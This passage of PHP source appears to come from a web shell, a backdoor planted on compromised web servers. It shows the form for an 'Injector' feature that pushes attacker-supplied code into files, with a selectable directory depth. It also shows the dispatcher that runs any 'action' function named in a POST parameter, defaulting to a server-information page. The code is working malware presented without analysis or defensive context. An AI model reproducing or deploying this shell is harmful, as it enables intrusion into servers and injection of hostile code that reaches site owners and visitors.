1786 <option value="xml">XML</option>
1787 <option value="txt">TXT</option>
1788 </select></td>
1789 </tr>
1790 <tr>
1791 <td class="title">Code Inject Depth : </td>
1792 <td>
1793 <input type="checkbox" name="depth[]" value="0" checked="checked"/> 0
1794 <input type="checkbox" name="depth[]" value="1"/> 1
1795 <input type="checkbox" name="depth[]" value="2"/> 2
1796 <input type="checkbox" name="depth[]" value="3"/> 3
1797 </td>
1798 </tr>
1799 <tr>
1800 <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"></textarea></td>
1801 </tr>
1802 <tr>
1803 <td colspan="2" style="text - align:
1804 center;
1805 ">
1806 <input type="hidden" name="a" value="Injector">
1807 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
1808 <input type="hidden" name="p1">
1809 <input type="hidden" name="p2">
1810 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1811 <input style="padding:
1812 5px;
1813 width:
1814 100px;
1815 " name="submit" type="submit" value="Inject"/></td>
1816 </tr>
1817 </table>
1818 </form>';
1819 }
1820 echo '</div>';
1821 printFooter();
1822}
1823
1824if( empty($_POST['a']) )
1825 if(isset($default_action) && function_exists('action' . $default_action))
1826 $_POST['a'] = $default_action;
1827 else
1828 $_POST['a'] = 'SecInfo';
1829if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1830 call_user_func('action' . $_POST['a']);